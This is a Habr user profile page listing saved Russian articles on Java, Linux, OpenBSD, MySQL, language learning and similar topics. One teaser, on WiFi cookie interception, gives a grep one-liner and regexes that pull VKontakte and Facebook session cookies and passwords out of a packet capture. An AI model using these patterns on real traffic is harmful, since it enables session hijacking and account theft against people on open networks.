Как стать автором
Обновить
108
0
Александр @Silf

Пользователь

Отправить сообщение

Знаешь ли ты JAVA, %username%? Часть вторая

Время на прочтение5 мин
Количество просмотров51K
JAVA Evil EditionВ начале января я написал пост с интересными тестовыми задачками по Java. Он вызвал достаточно большой интерес, интересные задачки еще остались, поэтому продолжим.

Сразу отвечу на некоторые вопросы, ответы на которые могли затеряться в комментах.
Во-первых, спрашивали, что почитать по теме. Очень рекомендую эту книжку. На русском не встречал, но читается она почему-то гораздо легче большинства книг по программированию, так что для большинства это не должно стать проблемой. Во-вторых, спрашивали где взять таких задачек. Тут что-то конкретное не посоветую, задачи из разных источников, в том числе некоторых нефришных наборов тестов, поэтому как вариант можно обратить внимание на источники, ссылки на которые есть в комментах к первой части статьи.

Так получилось, что в данную часть попали более легкие задачи, так что результаты должны быть лучше. Итак, очередной тест под хабракатом (Осторожно, во второй половине ответы и пояснения).
Читать дальше →
Всего голосов 72: ↑65 и ↓7+58
Комментарии28

Java Bytecode Fundamentals

Время на прочтение6 мин
Количество просмотров63K
Разработчики приложений на Java обычно не нуждаются в знании о байт-коде, выполняющемся в виртуальной машине, однако тем, кто занимается разработкой современных фреймворков, компиляторов или даже инструментов Java может понадобиться понимание байт-кода и, возможно, даже понимание того, как его использовать в своих целях. Несмотря на то, что специальные библиотеки типа ASM, cglib, Javassist помогают в использовании байт-кода, необходимо понимание основ для того, чтобы использовать эти библиотеки эффективно.
В статье описаны самые основы, от которых можно отталкиваться в дальнейшем раскапывании данной темы (прим. пер.).
Читать дальше →
Всего голосов 57: ↑55 и ↓2+53
Комментарии9

Угрозы Inside: инициализируем каналы утечки корпоративной информации

Время на прочтение8 мин
Количество просмотров4K
Инсайд – пожалуй, самое ущербное явление в корпоративной среде. Как в прямом, так и переносном смысле. Теперь корпоративный периметр защищается не только и не столько от внешних нарушителей, но и, по сути, от самих себя. Мы посмотрим на эту проблему со стороны инсайдера, который совмещает искусство кражи конфиденциальной информации с краем острого лезвия.
Читать дальше →
Всего голосов 78: ↑66 и ↓12+54
Комментарии26

Знаешь ли ты JAVA, %username%?

Время на прочтение11 мин
Количество просмотров149K
JAVA Evil EditionНедавно я сдавал экзамен Oracle Certified Professional Java Programmer (бывший Sun Certified), и за время подготовки прорешал огромное количество различных задачек. Отдельные задачки по джаве иногда появляются на хабре и вызывают немалый интерес, поэтому я решил поделиться накопленным и сделать небольшую подборку.

Итак, ниже представлен десяток наиболее, на мой взгляд, интересных задач по Java SE из более чем 1000, проработанных мной. Сложность варьируется от средней до ооооооочень сложной. Решение большинства задач практически не требует знания API, достаточно логики и фундаментальных основ Java.

К слову, сложность экзамена Oracle Certified Professional Java Programmer гораздо ниже чем сложность данного теста, поэтому все, кто правильно ответит хотя бы на половину этих вопросов, может смело сдавать этот экзамен без всякой подготовки.

На самом деле количество очень понравившихся мне вопросов в несколько раз больше, поэтому через недельку я планирую написать продолжение данной темы. Если вопросы показались вам слишком легкими или наоборот, слишком сложными — дайте мне знать, внесем коррективы.

ВНИМАНИЕ: во второй половине статьи — ответы и подробные пояснения по соответствующим нюансам JAVA.

Читать дальше →
Всего голосов 136: ↑124 и ↓12+112
Комментарии85

Как не дать программисту написать плохой код

Время на прочтение3 мин
Количество просмотров6.5K
image
Как-то раз в одной неглупой статье один неглупый хабраюзер рассказал одну неглупую идею. Суть её была в том, что в его компании настроена система, контролирующая написанный программистами код в момент попытки добавления его в репозиторий и отклоняющая код, не проходящий по некоторым критериям. Мне идея понравилась. Я (и еще 3 человека) попросили автора развить мысль и написать статью об этом, но она так и не появилась. И я решил разобраться сам.
Читать дальше →
Всего голосов 159: ↑141 и ↓18+123
Комментарии111

Чем отличаются настоящие тестировщики от поддельных?

Время на прочтение5 мин
Количество просмотров26K
Сегодня я не смогла уснуть. Тяжкие думы не первый день омрачают моё бренное существование.

Их первоисточником (или, скорее, катализатором) послужило описание сферы тестирования на сайте SQA Testing School, находящейся в Силиконовой долине. В этом описании тестирование представляется как элементарная область, научиться которой можно очень быстро, знаний для этого нужно минимум, а зарабатывать в которой можно очень даже неплохо.

Первой праведной мыслью было: тестирование обидели!

На смену первой пришла вторая, более взвешенная: описанное вполне соответствует действительности. Устроиться тестировщиком легко. Быть плохим тестировщиком и при этом не быть уволенным — легко. Не приносить ни малейшей пользы проекту, и при этом зарабатывать нормальные деньги — легко.

Но ведь бывают, бывают истинные гении своего дела, которые приносят пользу, и, несмотря на «болотистый» рынок труда в сфере тестирования, являются высококвалифицированными специалистами!

Кто они?
Как отличить настоящих джедаев от поддельных тестировщиков?

Результатом раздумий стал СПИСОК ИЗ ДЕСЯТИ ОТЛИЧИЙ НАСТОЯЩЕГО ТЕСТИРОВЩИКА ОТ ПОДДЕЛЬНОГО.
Читать дальше →
Всего голосов 100: ↑92 и ↓8+84
Комментарии79

Готовим рыбу Фугу дома или OpenBSD на домашнем сервере

Время на прочтение10 мин
Количество просмотров19K

Конечно же речь пойдет не о приготовлении всем известного японского деликатеса. А пойдет она о настройке нескольких сервисов, которые я определил для
себя как необходимые, на домашнем сервере. В качестве операционной системы которого будет выступать OpenBSD.
Многие воскликнут, а зачем тебе эта малоизвестная ОС, ведь есть же Linux, FreeBSD. Да, действительно, я мог бы настроить все необходимое и на других
unix like, но это бы не принесло мне столько удовольствия, сколько я испытал изучая и настраивая OpenBSD. Да и потом, меня всегда привлекают сложные
и нестандартные решения.
Закончим с вступлением и вернемся к теме заголовка.
Спешу представить тебе меню, уважаемый читатель.
Меню под катом
Всего голосов 69: ↑58 и ↓11+47
Комментарии44

Перехват cookie в реальном времени в открытых WiFi-сетях

Время на прочтение1 мин
Количество просмотров64K


На видео показан угон сессии вконтакте.ру, который почему-то до сих пор не использует авторизацию с https и передает пароли открытым текстом.
Дамп трафика собирается программой kismac в формате libpcap и параллельно парсится grep-ом с использованием регулярных выражений, что позволяет в реальном времени выводить на экран все интересующие куки и пароли. При этом не используется никаких анализаторов пакетов.

regexp для перехвата вконтакте.ру:

tail -F pcap.файл | cat | grep -aEo «remixsid=[0-9a-f]+|l=[0-9]{3,12}|p=[0-9a-f]{36}|email=[^&]+&pass=[^ ]+»

для фейсбука:

c_user=[0-9]+|sid=[0-9]{1,5}|xs=[0-9a-f]{32}

Аналогичная конструкция будет работать и с дампом собранным с помощью airdump-ng.
Всего голосов 173: ↑158 и ↓15+143
Комментарии162

Основы Linux от основателя Gentoo. Часть 3 (3/4): Управление аккаунтами в Linux

Время на прочтение7 мин
Количество просмотров44K
Продолжение третьей части серии руководств Linux для новичков. Основы управления пользователями и группами.

Навигация по основам Linux от основателя Gentoo:

Часть I:
  1. BASH, основы навигации
  2. Управление файлами и директориями
  3. Ссылки, а также удаление файлов и директорий
  4. Glob-подстановки
Читать дальше →
Всего голосов 51: ↑47 и ↓4+43
Комментарии5

Основы Linux от основателя Gentoo. Часть 3 (2/4): Модель прав доступа

Время на прочтение10 мин
Количество просмотров69K
Второй отрывок третьей части серии руководств Linux для новичков. В котором вы сможете узнать, об одном из основных средств обеспечения безопасности в Linux. А именно, правах доступа и модели владения файлами.
Читать дальше →
Всего голосов 98: ↑96 и ↓2+94
Комментарии10

Практические советы тем, кто хочет построить веб-сообщество ч.2

Время на прочтение4 мин
Количество просмотров1.3K
В виду того, что к моему предыдущему посту набралось больше положительных отзывов, чем отрицательных, а также я получил много писем с вопросами в личку (и даже ВКонтакте, аське и на самом автотуристе были отзывы), решил продолжить свою писанину про то, как я делал свой проект, с чем сталкивался на пути реализации и, собственно, давать советы.

Глава 4. Куда сеем? В контент!

Многие спросили, как я набрал первоначальную массу пользователей, после набора которой сообщество, собственно, как-то задышало. Было дело так: когда я на одном из бесплатных LiveStreet'овском (CMS моего проекта) дизайне только-только открыл проект, сразу же встал вопрос о привлечении на него аудитории. Но на что придёт аудитория, не на голое же место?

image

Читать дальше →
Всего голосов 122: ↑106 и ↓16+90
Комментарии83

WebSocket сервер на Haskell

Время на прочтение6 мин
Количество просмотров4.1K
Как-то раз от нечего делать я решил написать WebSocket сервер, а написав, подумал, что кому-то может оказаться интересным, чем же тут может помочь ленивость, функциональная чистота и прочие лямбды.
Читать дальше →
Всего голосов 47: ↑45 и ↓2+43
Комментарии21

Основы Linux от основателя Gentoo. Часть 3 (1/4): Документация

Время на прочтение8 мин
Количество просмотров35K
Первый отрывок третьей части серии руководств для новичков. Практически всё, что нужно знать, чтобы найти справочную информацию по вашей системе. Короче, RTFM и не задавайте глупых вопросов.



Навигация по основам Linux от основателя Gentoo:

Часть I: 1, 2, 3, 4

Часть II: 1, 2, 3, 4, 5

Часть III
  1. Документация (вступление)
  2. Модель прав доступа
  3. Управление аккаунтами
  4. Настройка окружения (итоги и ссылки)


Читать дальше →
Всего голосов 71: ↑61 и ↓10+51
Комментарии11

Несколько фишек для изучающих английский язык

Время на прочтение1 мин
Количество просмотров48K
1. Анонимные чаты: omegle.com, chatroulette.com
2. Сайты-помощники: kwiz.me, kimir.org, englishtips.org
3. Подкастинг: eslpod.com, effortlessenglish.com, npr.podcast.com, businessenglishpod.com,
4. Качаем фильмы/сериалы, затем субтитры к ним. Просматривать можно с замедлением в VLC плеере чтобы лучше переваривать. Еще рекомендую комик шоу, например Important Things with Demetri Martin — не пожалеете.
5. В скайпе ищем каких нибудь индусов со статусом SkypeMe и не стенсняясь знакомимся.
6. При прочтении какой-то книги или просмотра фильма неплохо бы подготовится таким образом: берем текст, устанавливаем длину слова и частоту употребления в тексте и запускаем, например, этот скрипт (PHP): pastebin.com/m7672c2a9
В итоге имеем дайджест слов большинство из которых вы уже знаете но остальные стоит подучить. И когда вы будете смотреть фильм или читать книгу вы автоматом поймете это слово.
7. Произношение слов — ставим в Google.translate режим Русский->English и в поле текста пишем английское слово — оно без перевода встанет справа вместе с флэшкой которое произносит слово. Также forvo.com, howjsay.com
8. Социальные сервисы ответов:
answers.yahoo.com, vark.com
9. Социальные сети для изучения языка:
livemocha.com, lingq.com, italki.com
10. Остальное:
nytimes.com, ecenglish.com, urbandictionary.com
allengl.narod.ru/top/phvTOP170.htm

Надеюсь каждый нашел для себя что-то полезное:)
Всего голосов 190: ↑171 и ↓19+152
Комментарии114

[Перевод] Java Best Practices. Преобразование Char в Byte и обратно

Время на прочтение4 мин
Количество просмотров36K
Сайт Java Code Geeks изредка публикует посты в серии Java Best Practices — проверенные на production решения. Получив разрешение от автора, перевёл один из постов. Дальше — больше.

Читать дальше →
Всего голосов 37: ↑31 и ↓6+25
Комментарии35

Еще раз про изучение языков

Время на прочтение1 мин
Количество просмотров973
Приветствую сообщество. Все как обычно — сделал сервис и спешу поделиться ))
Без долгих раскачек о сути: все мы любим посмотреть фильмы на английском с субтитрами. Это один из способов фонового обучения, дающийся легко и не воспринимающийся как занятия. Есть только один минус — системно учить язык так довольно сложно.
Я подумал, что было бы неплохо взять лучшее и привнести немного системы. В итоге, за несколько выходных родилось вот что: fridgevideocards.com — сервис изучения новых слов. Слова отсортированы по частоте употребления (частотные словари), для каждого слова есть перевод, видео кусочек и субтитры, как пример его использования. Для некоторых языков есть еще звучание слова отдельно от видео.
Сделать сервис получилось быстро — используется youtube и его ролики с субтитрами, для перевода используется google dictionary. Я планирую неким образом зарабатывать на сервисе, но пока до конца не определился как, и будет ли вообще модель платных подписок востребована.
image
Прошу попинать.
PS: всем разом не ходить, хостинг хилый )
PPS: у меня сейчас совершенно не будет времени на маркетинг этого сервиса. Если здесь есть люди которым идея нравится и они знаю как на ней заработать — welcome: 50/50.
PPPS: кому нужны PRO акки — пишите на адрес внизу сайта с указанием логина.
Всего голосов 38: ↑30 и ↓8+22
Комментарии23

Основы Linux от основателя Gentoo. Часть 2 (1/5): Регулярные выражения

Время на прочтение7 мин
Количество просмотров68K

Предисловие


Об этом самоучителе


Добро пожаловать в «Азы администрирования», второе из четырех обучающих руководств, разработанных чтобы подготовить вас к экзамену 101 в Linux Professional Institute. В данной части мы рассмотрим как использовать регулярные выражения для поиска текста в файлах по шаблонам. Затем, вы познакомитесь со «Стандартом иерархии файловой системы» (Filesystem Hierarchy Standard или сокр. FHS), также мы покажем вам как находить нужные файлы в вашей системе. После чего, вы узнаете как получить полный контроль над процессами в Linux, запуская их в фоновом режиме, просматривая список процессов, отсоединяя их от терминала, и многое другое. Далее последует быстрое введение в конвейеры, перенаправления и команды обработки текста. И наконец, мы познакомим вас с модулями ядра Linux.



В частности эта часть самоучителя (Часть 2) идеальна для тех, кто уже имеет неплохие базовые знания bash и хочет получить качественное введение в основные задачи администрирования Linux. Если в Linux вы новичок, мы рекомендуем вам сперва закончить первую часть данной серии практических руководств. Для некоторых, большая часть данного материала будет новой, более опытные же пользователи Linux могут счесть его отличным средством подвести итог своим базовым навыкам администрирования.


Читать дальше →
Всего голосов 47: ↑38 и ↓9+29
Комментарии35

MySQL шпаргалки

Время на прочтение3 мин
Количество просмотров822K
Часто, когда разрабатываешь сайт, замечаешь, как на одни и те же грабли наступают разработчики при проектировании базы данных.

Сегодня я решил опубликовать свои шпаргалки, на самые часто встречающиеся ошибки при работе с MySQL.

Читать дальше →
Всего голосов 215: ↑193 и ↓22+171
Комментарии230

Об управлении временем, саморазвитии и деньгах

Время на прочтение8 мин
Количество просмотров13K
Я хочу рассказать о том, почему в отдельности не работают подходы, которые люди начинают применять, прочитав ту или иную книгу из области time-management или управления финансами.

Вся суть заключается в том, что указанные книги зачастую предоставляют лишь готовый инструмент, который, однако, подходит далеко не каждому. А чтобы применить инструмент, сначала нужно обучиться основам дела, за которое вы собираете браться.

Вот, например, езда на автомобиле. Сначала человек меняет свои привычки, установки, доводит до автоматизма простые действия. Затем сдает экзамен, и только потом выезжает на дорогу и начинает набирать настоящий опыт, в процессе которого и становится мастером.

А когда мы говорим об управлении временем, часто случается следующее. Человек прочитал одну книгу, один день попробовал вести хронометраж — бросил, лениво. Написал план на неделю, месяц, год, и ни разу их не открыл. На следующий день писал план первые три дня, а потом забросил — ибо ничего не успевал.

Или с деньгами.
Читать дальше →
Всего голосов 136: ↑117 и ↓19+98
Комментарии86

Основы Linux от основателя Gentoo. Часть 1 (1/4): BASH, основы навигации

Время на прочтение6 мин
Количество просмотров248K

Предисловие


Об этом руководстве


Добро пожаловать в первую из четырех частей обучающего руководства по основам Linux, разработанного чтобы подготовить вас к сдаче экзамена Linux Professional Institute 101. В нем вы познакомитесь с bash (стандартной оболочкой командного интерпретатора в Linux), узнаете о большинстве возможностей таких стандартных команд Linux, как ls, cp и mv, разберетесь в инодах, жестких и символьных ссылках, и многом другом. К концу этого руководства у вас сформируется некий фундамент знаний, и вы будете готовы к изучению основ администрирования Linux. К концу всего курса (8 частей), у вас будет достаточно навыков, чтобы стать системным администратором Linux и пройти сертификацию LPIC Level 1 от Linux Professional Institute, если конечно захотите.



Данная первая часть руководства отлично подходит для новичков в Linux, а также для тех пользователей, кто хочет освежить или улучшить свое понимание фундаментальных концепций Linux, таких, как копирование и перемещение файлов, создание символических и жестких ссылок, а также стандартных команд обработки текста, включая конвейеры и перенаправления. По ходу мы также дадим множество советов, подсказок и трюков, что делает это руководство насыщенным и практичным, даже для тех, кто уже имеет солидный опыт работы с Linux. Для начинающих большая часть этого материала будет новой, но более продвинутые пользователи Linux найдут это руководство отличным средством, чтобы разложить свои фундаментальные навыки по полочкам у себя в голове.


Читать дальше →
Всего голосов 150: ↑130 и ↓20+110
Комментарии50

Информация

В рейтинге
Не участвует
Откуда
Санкт-Петербург и область, Россия
Дата рождения
Зарегистрирован
Активность